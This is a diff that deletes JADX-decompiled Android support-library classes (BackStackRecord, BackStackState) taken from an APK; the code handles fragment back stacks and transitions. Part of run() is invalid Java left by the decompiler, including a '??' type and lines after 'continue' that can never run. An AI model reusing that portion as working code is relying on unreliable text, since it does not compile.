android.support.v4.app.FragmentTransaction - public FragmentTransaction setBreadCrumbTitle(int i) { - this.mBreadCrumbTitleRes = i; - this.mBreadCrumbTitleText = null; - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction setBreadCrumbTitle(CharSequence charSequence) { - this.mBreadCrumbTitleRes = 0; - this.mBreadCrumbTitleText = charSequence; - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction setBreadCrumbShortTitle(int i) { - this.mBreadCrumbShortTitleRes = i; - this.mBreadCrumbShortTitleText = null; - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction setBreadCrumbShortTitle(CharSequence charSequence) { - this.mBreadCrumbShortTitleRes = 0; - this.mBreadCrumbShortTitleText = charSequence; - return this; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void bumpBackStackNesting(int i) { - if (this.mAddToBackStack) { - if (FragmentManagerImpl.DEBUG) { - Log.v(TAG, "Bump nesting in " + this + " by " + i); - } - for (Op op = this.mHead; op != null; op = op.next) { - if (op.fragment != null) { - op.fragment.mBackStackNesting += i; - if (FragmentManagerImpl.DEBUG) { - Log.v(TAG, "Bump nesting of " + op.fragment + " to " + op.fragment.mBackStackNesting); - } - } - if (op.removed != null) { - for (int size = op.removed.size() - 1; size >= 0; size--) { - Fragment fragment = op.removed.get(size); - fragment.mBackStackNesting += i; - if (FragmentManagerImpl.DEBUG) { - Log.v(TAG, "Bump nesting of " + fragment + " to " + fragment.mBackStackNesting); - } - } - } - } - } - } - - @Override // android.support.v4.app.FragmentTransaction - public int commit() { - return commitInternal(false); - } - - @Override // android.support.v4.app.FragmentTransaction - public int commitAllowingStateLoss() { - return commitInternal(true); - } - - @Override // android.support.v4.app.FragmentTransaction - public void commitNow() { - disallowAddToBackStack(); - this.mManager.execSingleAction(this, false); - } - - @Override // android.support.v4.app.FragmentTransaction - public void commitNowAllowingStateLoss() { - disallowAddToBackStack(); - this.mManager.execSingleAction(this, true); - } - - int commitInternal(boolean z) { - if (this.mCommitted) { - throw new IllegalStateException("commit already called"); - } - if (FragmentManagerImpl.DEBUG) { - Log.v(TAG, "Commit: " + this); - dump(" ", null, new PrintWriter(new LogWriter(TAG)), null); - } - this.mCommitted = true; - if (this.mAddToBackStack) { - this.mIndex = this.mManager.allocBackStackIndex(this); - } else { - this.mIndex = -1; - } - this.mManager.enqueueAction(this, z); - return this.mIndex; - } - - /* JADX WARN: Multi-variable type inference failed */ - /* JADX WARN: Type inference failed for: r10v10 */ - /* JADX WARN: Type inference failed for: r10v2, types: [boolean] */ - /* JADX WARN: Type inference failed for: r10v3 */ - /* JADX WARN: Type inference failed for: r10v4 */ - /* JADX WARN: Type inference failed for: r10v9 */ - /* JADX WARN: Type inference failed for: r9v2, types: [android.support.v4.app.FragmentManagerImpl] */ - @Override // java.lang.Runnable - public void run() { - TransitionState transitionState; - ?? r10; - if (FragmentManagerImpl.DEBUG) { - Log.v(TAG, "Run: " + this); - } - if (this.mAddToBackStack && this.mIndex < 0) { - throw new IllegalStateException("addToBackStack() called after commit()"); - } - bumpBackStackNesting(1); - int i = 0; - if (!SUPPORTS_TRANSITIONS || this.mManager.mCurState < 1) { - transitionState = null; - } else { - SparseArray sparseArray = new SparseArray<>(); - SparseArray sparseArray2 = new SparseArray<>(); - calculateFragments(sparseArray, sparseArray2); - transitionState = beginTransition(sparseArray, sparseArray2, false); - } - int i2 = transitionState != null ? 0 : this.mTransitionStyle; - int i3 = transitionState != null ? 0 : this.mTransition; - Op op = this.mHead; - while (op != null) { - int i4 = transitionState != null ? i : op.enterAnim; - int i5 = transitionState != null ? i : op.exitAnim; - switch (op.cmd) { - case 1: - r10 = i; - Fragment fragment = op.fragment; - fragment.mNextAnim = i4; - this.mManager.addFragment(fragment, r10); - continue; - op = op.next; - i = r10; - case 2: - Fragment fragment2 = op.fragment; - int i6 = fragment2.mContainerId; - if (this.mManager.mAdded != null) { - for (int size = this.mManager.mAdded.size() - 1; size >= 0; size--) { - Fragment fragment3 = this.mManager.mAdded.get(size); - if (FragmentManagerImpl.DEBUG) { - Log.v(TAG, "OP_REPLACE: adding=" + fragment2 + " old=" + fragment3); - } - if (fragment3.mContainerId == i6) { - if (fragment3 == fragment2) { - op.fragment = null; - fragment2 = null; - } else { - if (op.removed == null) { - op.removed = new ArrayList<>(); - } - op.removed.add(fragment3); - fragment3.mNextAnim = i5; - if (this.mAddToBackStack) { - fragment3.mBackStackNesting++; - if (FragmentManagerImpl.DEBUG) { - Log.v(TAG, "Bump nesting of " + fragment3 + " to " + fragment3.mBackStackNesting); - } - } - this.mManager.removeFragment(fragment3, i3, i2); - } - } - } - } - if (fragment2 != null) { - fragment2.mNextAnim = i4; - r10 = 0; - this.mManager.addFragment(fragment2, false); - continue; - } else { - r10 = 0; - } - op = op.next; - i = r10; - case 3: - Fragment fragment4 = op.fragment; - fragment4.mNextAnim = i5; - this.mManager.removeFragment(fragment4, i3, i2); - break; - case 4: - Fragment fragment5 = op.fragment; - fragment5.mNextAnim = i5; - this.mManager.hideFragment(fragment5, i3, i2); - break; - case 5: - Fragment fragment6 = op.fragment; - fragment6.mNextAnim = i4; - this.mManager.showFragment(fragment6, i3, i2); - break; - case 6: - Fragment fragment7 = op.fragment; - fragment7.mNextAnim = i5; - this.mManager.detachFragment(fragment7, i3, i2); - break; - case 7: - Fragment fragment8 = op.fragment; - fragment8.mNextAnim = i4; - this.mManager.attachFragment(fragment8, i3, i2); - break; - default: - throw new IllegalArgumentException("Unknown cmd: " + op.cmd); - } - r10 = i; - op = op.next; - i = r10; - } - FragmentManagerImpl fragmentManagerImpl = this.mManager; - fragmentManagerImpl.moveToState(fragmentManagerImpl.mCurState, i3, i2, true); - if (this.mAddToBackStack) { - this.mManager.addBackStackState(this); - } - } - - private static void setFirstOut(SparseArray sparseArray, SparseArray sparseArray2, Fragment fragment) { - int i; - if (fragment == null || (i = fragment.mContainerId) == 0 || fragment.isHidden()) { - return; - } - if (fragment.isAdded() && fragment.getView() != null && sparseArray.get(i) == null) { - sparseArray.put(i, fragment); - } - if (sparseArray2.get(i) == fragment) { - sparseArray2.remove(i); - } - } - - private void setLastIn(SparseArray sparseArray, SparseArray sparseArray2, Fragment fragment) { - if (fragment != null) { - int i = fragment.mContainerId; - if (i != 0) { - if (!fragment.isAdded()) { - sparseArray2.put(i, fragment); - } - if (sparseArray.get(i) == fragment) { - sparseArray.remove(i); - } - } - if (fragment.mState >= 1 || this.mManager.mCurState < 1) { - return; - } - this.mManager.makeActive(fragment); - this.mManager.moveToState(fragment, 1, 0, 0, false); - } - } - - private void calculateFragments(SparseArray sparseArray, SparseArray sparseArray2) { - if (this.mManager.mContainer.onHasView()) { - for (Op op = this.mHead; op != null; op = op.next) { - switch (op.cmd) { - case 1: - setLastIn(sparseArray, sparseArray2, op.fragment); - break; - case 2: - Fragment fragment = op.fragment; - if (this.mManager.mAdded != null) { - for (int i = 0; i < this.mManager.mAdded.size(); i++) { - Fragment fragment2 = this.mManager.mAdded.get(i); - if (fragment == null || fragment2.mContainerId == fragment.mContainerId) { - if (fragment2 == fragment) { - sparseArray2.remove(fragment2.mContainerId); - fragment = null; - } else { - setFirstOut(sparseArray, sparseArray2, fragment2); - } - } - } - } - setLastIn(sparseArray, sparseArray2, op.fragment); - break; - case 3: - setFirstOut(sparseArray, sparseArray2, op.fragment); - break; - case 4: - setFirstOut(sparseArray, sparseArray2, op.fragment); - break; - case 5: - setLastIn(sparseArray, sparseArray2, op.fragment); - break; - case 6: - setFirstOut(sparseArray, sparseArray2, op.fragment); - break; - case 7: - setLastIn(sparseArray, sparseArray2, op.fragment); - break; - } - } - } - } - - public void calculateBackFragments(SparseArray sparseArray, SparseArray sparseArray2) { - if (this.mManager.mContainer.onHasView()) { - for (Op op = this.mTail; op != null; op = op.prev) { - switch (op.cmd) { - case 1: - setFirstOut(sparseArray, sparseArray2, op.fragment); - break; - case 2: - if (op.removed != null) { - for (int size = op.removed.size() - 1; size >= 0; size--) { - setLastIn(sparseArray, sparseArray2, op.removed.get(size)); - } - } - setFirstOut(sparseArray, sparseArray2, op.fragment); - break; - case 3: - setLastIn(sparseArray, sparseArray2, op.fragment); - break; - case 4: - setLastIn(sparseArray, sparseArray2, op.fragment); - break; - case 5: - setFirstOut(sparseArray, sparseArray2, op.fragment); - break; - case 6: - setLastIn(sparseArray, sparseArray2, op.fragment); - break; - case 7: - setFirstOut(sparseArray, sparseArray2, op.fragment); - break; - } - } - } - } - - public TransitionState popFromBackStack(boolean z, TransitionState transitionState, SparseArray sparseArray, SparseArray sparseArray2) { - TransitionState transitionState2 = null; - if (FragmentManagerImpl.DEBUG) { - Log.v(TAG, "popFromBackStack: " + this); - dump(" ", null, new PrintWriter(new LogWriter(TAG)), null); - } - if (SUPPORTS_TRANSITIONS && this.mManager.mCurState >= 1) { - if (transitionState == null) { - if (sparseArray.size() != 0 || sparseArray2.size() != 0) { - transitionState = beginTransition(sparseArray, sparseArray2, true); - } - } else if (!z) { - setNameOverrides(transitionState, this.mSharedElementTargetNames, this.mSharedElementSourceNames); - } - } - bumpBackStackNesting(-1); - int i = transitionState != null ? 0 : this.mTransitionStyle; - int i2 = transitionState != null ? 0 : this.mTransition; - for (Op op = this.mTail; op != null; op = op.prev) { - int i3 = transitionState != null ? 0 : op.popEnterAnim; - int i4 = transitionState != null ? 0 : op.popExitAnim; - switch (op.cmd) { - case 1: - Fragment fragment = op.fragment; - fragment.mNextAnim = i4; - this.mManager.removeFragment(fragment, FragmentManagerImpl.reverseTransit(i2), i); - break; - case 2: - Fragment fragment2 = op.fragment; - if (fragment2 != null) { - fragment2.mNextAnim = i4; - this.mManager.removeFragment(fragment2, FragmentManagerImpl.reverseTransit(i2), i); - } - if (op.removed != null) { - for (int i5 = 0; i5 < op.removed.size(); i5++) { - Fragment fragment3 = op.removed.get(i5); - fragment3.mNextAnim = i3; - this.mManager.addFragment(fragment3, false); - } - break; - } else { - break; - } - case 3: - Fragment fragment4 = op.fragment; - fragment4.mNextAnim = i3; - this.mManager.addFragment(fragment4, false); - break; - case 4: - Fragment fragment5 = op.fragment; - fragment5.mNextAnim = i3; - this.mManager.showFragment(fragment5, FragmentManagerImpl.reverseTransit(i2), i); - break; - case 5: - Fragment fragment6 = op.fragment; - fragment6.mNextAnim = i4; - this.mManager.hideFragment(fragment6, FragmentManagerImpl.reverseTransit(i2), i); - break; - case 6: - Fragment fragment7 = op.fragment; - fragment7.mNextAnim = i3; - this.mManager.attachFragment(fragment7, FragmentManagerImpl.reverseTransit(i2), i); - break; - case 7: - Fragment fragment8 = op.fragment; - fragment8.mNextAnim = i3; - this.mManager.detachFragment(fragment8, FragmentManagerImpl.reverseTransit(i2), i); - break; - default: - throw new IllegalArgumentException("Unknown cmd: " + op.cmd); - } - } - if (z) { - FragmentManagerImpl fragmentManagerImpl = this.mManager; - fragmentManagerImpl.moveToState(fragmentManagerImpl.mCurState, FragmentManagerImpl.reverseTransit(i2), i, true); - } else { - transitionState2 = transitionState; - } - int i6 = this.mIndex; - if (i6 >= 0) { - this.mManager.freeBackStackIndex(i6); - this.mIndex = -1; - } - return transitionState2; - } - - @Override // android.support.v4.app.FragmentManager.BackStackEntry - public String getName() { - return this.mName; - } - - public int getTransition() { - return this.mTransition; - } - - public int getTransitionStyle() { - return this.mTransitionStyle; - } - - @Override // android.support.v4.app.FragmentTransaction - public boolean isEmpty() { - return this.mNumOp == 0; - } - - private TransitionState beginTransition(SparseArray sparseArray, SparseArray sparseArray2, boolean z) { - TransitionState transitionState = new TransitionState(); - transitionState.nonExistentView = new View(this.mManager.mHost.getContext()); - boolean z2 = false; - for (int i = 0; i < sparseArray.size(); i++) { - if (configureTransitions(sparseArray.keyAt(i), transitionState, z, sparseArray, sparseArray2)) { - z2 = true; - } - } - for (int i2 = 0; i2 < sparseArray2.size(); i2++) { - int keyAt = sparseArray2.keyAt(i2); - if (sparseArray.get(keyAt) == null && configureTransitions(keyAt, transitionState, z, sparseArray, sparseArray2)) { - z2 = true; - } - } - if (z2) { - return transitionState; - } - return null; - } - - private static Object getEnterTransition(Fragment fragment, boolean z) { - if (fragment == null) { - return null; - } - return FragmentTransitionCompat21.cloneTransition(z ? fragment.getReenterTransition() : fragment.getEnterTransition()); - } - - private static Object getExitTransition(Fragment fragment, boolean z) { - if (fragment == null) { - return null; - } - return FragmentTransitionCompat21.cloneTransition(z ? fragment.getReturnTransition() : fragment.getExitTransition()); - } - - private static Object getSharedElementTransition(Fragment fragment, Fragment fragment2, boolean z) { - Object sharedElementEnterTransition; - if (fragment == null || fragment2 == null) { - return null; - } - if (z) { - sharedElementEnterTransition = fragment2.getSharedElementReturnTransition(); - } else { - sharedElementEnterTransition = fragment.getSharedElementEnterTransition(); - } - return FragmentTransitionCompat21.wrapSharedElementTransition(sharedElementEnterTransition); - } - - private static Object captureExitingViews(Object obj, Fragment fragment, ArrayList arrayList, ArrayMap arrayMap, View view) { - return obj != null ? FragmentTransitionCompat21.captureExitingViews(obj, fragment.getView(), arrayList, arrayMap, view) : obj; - } - - private ArrayMap remapSharedElements(TransitionState transitionState, Fragment fragment, boolean z) { - ArrayMap arrayMap = new ArrayMap<>(); - if (this.mSharedElementSourceNames != null) { - FragmentTransitionCompat21.findNamedViews(arrayMap, fragment.getView()); - if (z) { - arrayMap.retainAll(this.mSharedElementTargetNames); - } else { - arrayMap = remapNames(this.mSharedElementSourceNames, this.mSharedElementTargetNames, arrayMap); - } - } - if (z) { - if (fragment.mEnterTransitionCallback != null) { - fragment.mEnterTransitionCallback.onMapSharedElements(this.mSharedElementTargetNames, arrayMap); - } - setBackNameOverrides(transitionState, arrayMap, false); - } else { - if (fragment.mExitTransitionCallback != null) { - fragment.mExitTransitionCallback.onMapSharedElements(this.mSharedElementTargetNames, arrayMap); - } - setNameOverrides(transitionState, arrayMap, false); - } - return arrayMap; - } - - private boolean configureTransitions(int i, TransitionState transitionState, boolean z, SparseArray sparseArray, SparseArray sparseArray2) { - Object obj; - Fragment fragment; - Fragment fragment2; - ArrayMap arrayMap; - Object obj2; - Object obj3; - boolean z2; - Object obj4; - boolean z3; - boolean z4; - View view; - ViewGroup viewGroup = (ViewGroup) this.mManager.mContainer.onFindViewById(i); - if (viewGroup == null) { - return false; - } - Fragment fragment3 = sparseArray2.get(i); - Fragment fragment4 = sparseArray.get(i); - Object enterTransition = getEnterTransition(fragment3, z); - Object sharedElementTransition = getSharedElementTransition(fragment3, fragment4, z); - Object exitTransition = getExitTransition(fragment4, z); - ArrayList arrayList = new ArrayList<>(); - Object obj5 = null; - if (sharedElementTransition != null) { - ArrayMap remapSharedElements = remapSharedElements(transitionState, fragment4, z); - if (remapSharedElements.isEmpty()) { - arrayMap = null; - obj = exitTransition; - obj2 = enterTransition; - fragment = fragment4; - fragment2 = fragment3; - } else { - SharedElementCallback sharedElementCallback = z ? fragment4.mEnterTransitionCallback : fragment3.mEnterTransitionCallback; - if (sharedElementCallback != null) { - sharedElementCallback.onSharedElementStart(new ArrayList(remapSharedElements.keySet()), new ArrayList(remapSharedElements.values()), null); - } - obj = exitTransition; - fragment = fragment4; - fragment2 = fragment3; - prepareSharedElementTransition(transitionState, viewGroup, sharedElementTransition, fragment3, fragment4, z, arrayList, enterTransition, obj); - obj2 = enterTransition; - obj5 = sharedElementTransition; - arrayMap = remapSharedElements; - } - } else { - obj = exitTransition; - fragment = fragment4; - fragment2 = fragment3; - arrayMap = null; - obj2 = enterTransition; - obj5 = sharedElementTransition; - } - if (obj2 == null && obj5 == null) { - obj3 = obj; - if (obj3 == null) { - return false; - } - } else { - obj3 = obj; - } - ArrayList arrayList2 = new ArrayList(); - Object captureExitingViews = captureExitingViews(obj3, fragment, arrayList2, arrayMap, transitionState.nonExistentView); - ArrayList arrayList3 = this.mSharedElementTargetNames; - if (arrayList3 != null && arrayMap != null && (view = arrayMap.get(arrayList3.get(0))) != null) { - if (captureExitingViews != null) { - FragmentTransitionCompat21.setEpicenter(captureExitingViews, view); - } - if (obj5 != null) { - FragmentTransitionCompat21.setEpicenter(obj5, view); - } - } - final Fragment fragment5 = fragment2; - FragmentTransitionCompat21.ViewRetriever viewRetriever = new FragmentTransitionCompat21.ViewRetriever() { // from class: android.support.v4.app.BackStackRecord.1 - @Override // android.support.v4.app.FragmentTransitionCompat21.ViewRetriever - public View getView() { - return fragment5.getView(); - } - }; - ArrayList arrayList4 = new ArrayList(); - ArrayMap arrayMap2 = new ArrayMap(); - if (fragment5 == null) { - z2 = true; - } else if (z) { - z2 = fragment5.getAllowReturnTransitionOverlap(); - } else { - z2 = fragment5.getAllowEnterTransitionOverlap(); - } - Object mergeTransitions = FragmentTransitionCompat21.mergeTransitions(obj2, captureExitingViews, obj5, z2); - if (mergeTransitions != null) { - Object obj6 = obj2; - z3 = false; - FragmentTransitionCompat21.addTransitionTargets(obj6, obj5, captureExitingViews, viewGroup, viewRetriever, transitionState.nonExistentView, transitionState.enteringEpicenterView, transitionState.nameOverrides, arrayList4, arrayList2, arrayMap, arrayMap2, arrayList); - obj4 = mergeTransitions; - excludeHiddenFragmentsAfterEnter(viewGroup, transitionState, i, obj4); - z4 = true; - FragmentTransitionCompat21.excludeTarget(obj4, transitionState.nonExistentView, true); - excludeHiddenFragments(transitionState, i, obj4); - FragmentTransitionCompat21.beginDelayedTransition(viewGroup, obj4); - FragmentTransitionCompat21.cleanupTransitions(viewGroup, transitionState.nonExistentView, obj6, arrayList4, captureExitingViews, arrayList2, obj5, arrayList, obj4, transitionState.hiddenFragmentViews, arrayMap2); - } else { - obj4 = mergeTransitions; - z3 = false; - z4 = true; - } - return obj4 != null ? z4 : z3; - } - - private void prepareSharedElementTransition(final TransitionState transitionState, final View view, final Object obj, final Fragment fragment, final Fragment fragment2, final boolean z, final ArrayList arrayList, final Object obj2, final Object obj3) { - if (obj != null) { - view.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() { // from class: android.support.v4.app.BackStackRecord.2 - @Override // android.view.ViewTreeObserver.OnPreDrawListener - public boolean onPreDraw() { - view.getViewTreeObserver().removeOnPreDrawListener(this); - FragmentTransitionCompat21.removeTargets(obj, arrayList); - arrayList.remove(transitionState.nonExistentView); - FragmentTransitionCompat21.excludeSharedElementViews(obj2, obj3, obj, arrayList, false); - arrayList.clear(); - ArrayMap mapSharedElementsIn = BackStackRecord.this.mapSharedElementsIn(transitionState, z, fragment); - FragmentTransitionCompat21.setSharedElementTargets(obj, transitionState.nonExistentView, mapSharedElementsIn, arrayList); - BackStackRecord.this.setEpicenterIn(mapSharedElementsIn, transitionState); - BackStackRecord.this.callSharedElementEnd(transitionState, fragment, fragment2, z, mapSharedElementsIn); - FragmentTransitionCompat21.excludeSharedElementViews(obj2, obj3, obj, arrayList, true); - return true; - } - }); - } - } - - void callSharedElementEnd(TransitionState transitionState, Fragment fragment, Fragment fragment2, boolean z, ArrayMap arrayMap) { - SharedElementCallback sharedElementCallback = z ? fragment2.mEnterTransitionCallback : fragment.mEnterTransitionCallback; - if (sharedElementCallback != null) { - sharedElementCallback.onSharedElementEnd(new ArrayList(arrayMap.keySet()), new ArrayList(arrayMap.values()), null); - } - } - - void setEpicenterIn(ArrayMap arrayMap, TransitionState transitionState) { - View view; - if (this.mSharedElementTargetNames == null || arrayMap.isEmpty() || (view = arrayMap.get(this.mSharedElementTargetNames.get(0))) == null) { - return; - } - transitionState.enteringEpicenterView.epicenter = view; - } - - ArrayMap mapSharedElementsIn(TransitionState transitionState, boolean z, Fragment fragment) { - ArrayMap mapEnteringSharedElements = mapEnteringSharedElements(transitionState, fragment, z); - if (z) { - if (fragment.mExitTransitionCallback != null) { - fragment.mExitTransitionCallback.onMapSharedElements(this.mSharedElementTargetNames, mapEnteringSharedElements); - } - setBackNameOverrides(transitionState, mapEnteringSharedElements, true); - } else { - if (fragment.mEnterTransitionCallback != null) { - fragment.mEnterTransitionCallback.onMapSharedElements(this.mSharedElementTargetNames, mapEnteringSharedElements); - } - setNameOverrides(transitionState, mapEnteringSharedElements, true); - } - return mapEnteringSharedElements; - } - - private static ArrayMap remapNames(ArrayList arrayList, ArrayList arrayList2, ArrayMap arrayMap) { - if (arrayMap.isEmpty()) { - return arrayMap; - } - ArrayMap arrayMap2 = new ArrayMap<>(); - int size = arrayList.size(); - for (int i = 0; i < size; i++) { - View view = arrayMap.get(arrayList.get(i)); - if (view != null) { - arrayMap2.put(arrayList2.get(i), view); - } - } - return arrayMap2; - } - - private ArrayMap mapEnteringSharedElements(TransitionState transitionState, Fragment fragment, boolean z) { - ArrayMap arrayMap = new ArrayMap<>(); - View view = fragment.getView(); - if (view == null || this.mSharedElementSourceNames == null) { - return arrayMap; - } - FragmentTransitionCompat21.findNamedViews(arrayMap, view); - if (z) { - return remapNames(this.mSharedElementSourceNames, this.mSharedElementTargetNames, arrayMap); - } - arrayMap.retainAll(this.mSharedElementTargetNames); - return arrayMap; - } - - private void excludeHiddenFragmentsAfterEnter(final View view, final TransitionState transitionState, final int i, final Object obj) { - view.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() { // from class: android.support.v4.app.BackStackRecord.3 - @Override // android.view.ViewTreeObserver.OnPreDrawListener - public boolean onPreDraw() { - view.getViewTreeObserver().removeOnPreDrawListener(this); - BackStackRecord.this.excludeHiddenFragments(transitionState, i, obj); - return true; - } - }); - } - - void excludeHiddenFragments(TransitionState transitionState, int i, Object obj) { - if (this.mManager.mAdded != null) { - for (int i2 = 0; i2 < this.mManager.mAdded.size(); i2++) { - Fragment fragment = this.mManager.mAdded.get(i2); - if (fragment.mView != null && fragment.mContainer != null && fragment.mContainerId == i) { - if (fragment.mHidden) { - if (!transitionState.hiddenFragmentViews.contains(fragment.mView)) { - FragmentTransitionCompat21.excludeTarget(obj, fragment.mView, true); - transitionState.hiddenFragmentViews.add(fragment.mView); - } - } else { - FragmentTransitionCompat21.excludeTarget(obj, fragment.mView, false); - transitionState.hiddenFragmentViews.remove(fragment.mView); - } - } - } - } - } - - private static void setNameOverride(ArrayMap arrayMap, String str, String str2) { - if (str == null || str2 == null) { - return; - } - for (int i = 0; i < arrayMap.size(); i++) { - if (str.equals(arrayMap.valueAt(i))) { - arrayMap.setValueAt(i, str2); - return; - } - } - arrayMap.put(str, str2); - } - - private static void setNameOverrides(TransitionState transitionState, ArrayList arrayList, ArrayList arrayList2) { - if (arrayList != null) { - for (int i = 0; i < arrayList.size(); i++) { - setNameOverride(transitionState.nameOverrides, arrayList.get(i), arrayList2.get(i)); - } - } - } - - private void setBackNameOverrides(TransitionState transitionState, ArrayMap arrayMap, boolean z) { - ArrayList arrayList = this.mSharedElementTargetNames; - int size = arrayList == null ? 0 : arrayList.size(); - for (int i = 0; i < size; i++) { - String str = this.mSharedElementSourceNames.get(i); - View view = arrayMap.get(this.mSharedElementTargetNames.get(i)); - if (view != null) { - String transitionName = FragmentTransitionCompat21.getTransitionName(view); - if (z) { - setNameOverride(transitionState.nameOverrides, str, transitionName); - } else { - setNameOverride(transitionState.nameOverrides, transitionName, str); - } - } - } - } - - private void setNameOverrides(TransitionState transitionState, ArrayMap arrayMap, boolean z) { - int size = arrayMap.size(); - for (int i = 0; i < size; i++) { - String keyAt = arrayMap.keyAt(i); - String transitionName = FragmentTransitionCompat21.getTransitionName(arrayMap.valueAt(i)); - if (z) { - setNameOverride(transitionState.nameOverrides, keyAt, transitionName); - } else { - setNameOverride(transitionState.nameOverrides, transitionName, keyAt); - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class TransitionState { - public View nonExistentView; - public ArrayMap nameOverrides = new ArrayMap<>(); - public ArrayList hiddenFragmentViews = new ArrayList<>(); - public FragmentTransitionCompat21.EpicenterView enteringEpicenterView = new FragmentTransitionCompat21.EpicenterView(); - - public TransitionState() { - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/BackStackState.java b/apk_3230/decompiled_source/sources/android/support/v4/app/BackStackState.java deleted file mode 100644 index df79851..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/BackStackState.java +++ /dev/null @@ -1,179 +0,0 @@ -package android.support.v4.app; - -import android.os.Parcel; -import android.os.Parcelable; -import android.support.v4.app.BackStackRecord; -import android.text.TextUtils; -import android.util.Log; -import java.util.ArrayList; -/* JADX INFO: Access modifiers changed from: package-private */ -/* compiled from: BackStackRecord.java */ -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class BackStackState implements Parcelable { - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.app.BackStackState.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public BackStackState createFromParcel(Parcel parcel) { - return new BackStackState(parcel); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public BackStackState[] newArray(int i) { - return new BackStackState[i]; - } - }; - final int mBreadCrumbShortTitleRes; - final CharSequence mBreadCrumbShortTitleText; - final int mBreadCrumbTitleRes; - final CharSequence mBreadCrumbTitleText; - final int mIndex; - final String mName; - final int[] mOps; - final ArrayList mSharedElementSourceNames; - final ArrayList mSharedElementTargetNames; - final int mTransition; - final int mTransitionStyle; - - @Override // android.os.Parcelable - public int describeContents() { - return 0; - } - - public BackStackState(BackStackRecord backStackRecord) { - int i = 0; - for (BackStackRecord.Op op = backStackRecord.mHead; op != null; op = op.next) { - if (op.removed != null) { - i += op.removed.size(); - } - } - this.mOps = new int[(backStackRecord.mNumOp * 7) + i]; - if (!backStackRecord.mAddToBackStack) { - throw new IllegalStateException("Not on back stack"); - } - int i2 = 0; - for (BackStackRecord.Op op2 = backStackRecord.mHead; op2 != null; op2 = op2.next) { - int i3 = i2 + 1; - this.mOps[i2] = op2.cmd; - int i4 = i2 + 2; - this.mOps[i3] = op2.fragment != null ? op2.fragment.mIndex : -1; - this.mOps[i4] = op2.enterAnim; - this.mOps[i2 + 3] = op2.exitAnim; - this.mOps[i2 + 4] = op2.popEnterAnim; - int i5 = i2 + 6; - this.mOps[i2 + 5] = op2.popExitAnim; - if (op2.removed != null) { - int size = op2.removed.size(); - i2 += 7; - this.mOps[i5] = size; - int i6 = 0; - while (i6 < size) { - this.mOps[i2] = op2.removed.get(i6).mIndex; - i6++; - i2++; - } - } else { - i2 += 7; - this.mOps[i5] = 0; - } - } - this.mTransition = backStackRecord.mTransition; - this.mTransitionStyle = backStackRecord.mTransitionStyle; - this.mName = backStackRecord.mName; - this.mIndex = backStackRecord.mIndex; - this.mBreadCrumbTitleRes = backStackRecord.mBreadCrumbTitleRes; - this.mBreadCrumbTitleText = backStackRecord.mBreadCrumbTitleText; - this.mBreadCrumbShortTitleRes = backStackRecord.mBreadCrumbShortTitleRes; - this.mBreadCrumbShortTitleText = backStackRecord.mBreadCrumbShortTitleText; - this.mSharedElementSourceNames = backStackRecord.mSharedElementSourceNames; - this.mSharedElementTargetNames = backStackRecord.mSharedElementTargetNames; - } - - public BackStackState(Parcel parcel) { - this.mOps = parcel.createIntArray(); - this.mTransition = parcel.readInt(); - this.mTransitionStyle = parcel.readInt(); - this.mName = parcel.readString(); - this.mIndex = parcel.readInt(); - this.mBreadCrumbTitleRes = parcel.readInt(); - this.mBreadCrumbTitleText = (CharSequence) TextUtils.CHAR_SEQUENCE_CREATOR.createFromParcel(parcel); - this.mBreadCrumbShortTitleRes = parcel.readInt(); - this.mBreadCrumbShortTitleText = (CharSequence) TextUtils.CHAR_SEQUENCE_CREATOR.createFromParcel(parcel); - this.mSharedElementSourceNames = parcel.createStringArrayList(); - this.mSharedElementTargetNames = parcel.createStringArrayList(); - } - - public BackStackRecord instantiate(FragmentManagerImpl fragmentManagerImpl) { - BackStackRecord backStackRecord = new BackStackRecord(fragmentManagerImpl); - int i = 0; - int i2 = 0; - while (i < this.mOps.length) { - BackStackRecord.Op op = new BackStackRecord.Op(); - int i3 = i + 1; - op.cmd = this.mOps[i]; - if (FragmentManagerImpl.DEBUG) { - Log.v("FragmentManager", "Instantiate " + backStackRecord + " op #" + i2 + " base fragment #" + this.mOps[i3]); - } - int i4 = i + 2; - int i5 = this.mOps[i3]; - if (i5 >= 0) { - op.fragment = fragmentManagerImpl.mActive.get(i5); - } else { - op.fragment = null; - } - op.enterAnim = this.mOps[i4]; - op.exitAnim = this.mOps[i + 3]; - op.popEnterAnim = this.mOps[i + 4]; - int i6 = i + 6; - op.popExitAnim = this.mOps[i + 5]; - i += 7; - int i7 = this.mOps[i6]; - if (i7 > 0) { - op.removed = new ArrayList<>(i7); - int i8 = 0; - while (i8 < i7) { - if (FragmentManagerImpl.DEBUG) { - Log.v("FragmentManager", "Instantiate " + backStackRecord + " set remove fragment #" + this.mOps[i]); - } - op.removed.add(fragmentManagerImpl.mActive.get(this.mOps[i])); - i8++; - i++; - } - } - backStackRecord.mEnterAnim = op.enterAnim; - backStackRecord.mExitAnim = op.exitAnim; - backStackRecord.mPopEnterAnim = op.popEnterAnim; - backStackRecord.mPopExitAnim = op.popExitAnim; - backStackRecord.addOp(op); - i2++; - } - backStackRecord.mTransition = this.mTransition; - backStackRecord.mTransitionStyle = this.mTransitionStyle; - backStackRecord.mName = this.mName; - backStackRecord.mIndex = this.mIndex; - backStackRecord.mAddToBackStack = true; - backStackRecord.mBreadCrumbTitleRes = this.mBreadCrumbTitleRes; - backStackRecord.mBreadCrumbTitleText = this.mBreadCrumbTitleText; - backStackRecord.mBreadCrumbShortTitleRes = this.mBreadCrumbShortTitleRes; - backStackRecord.mBreadCrumbShortTitleText = this.mBreadCrumbShortTitleText; - backStackRecord.mSharedElementSourceNames = this.mSharedElementSourceNames; - backStackRecord.mSharedElementTargetNames = 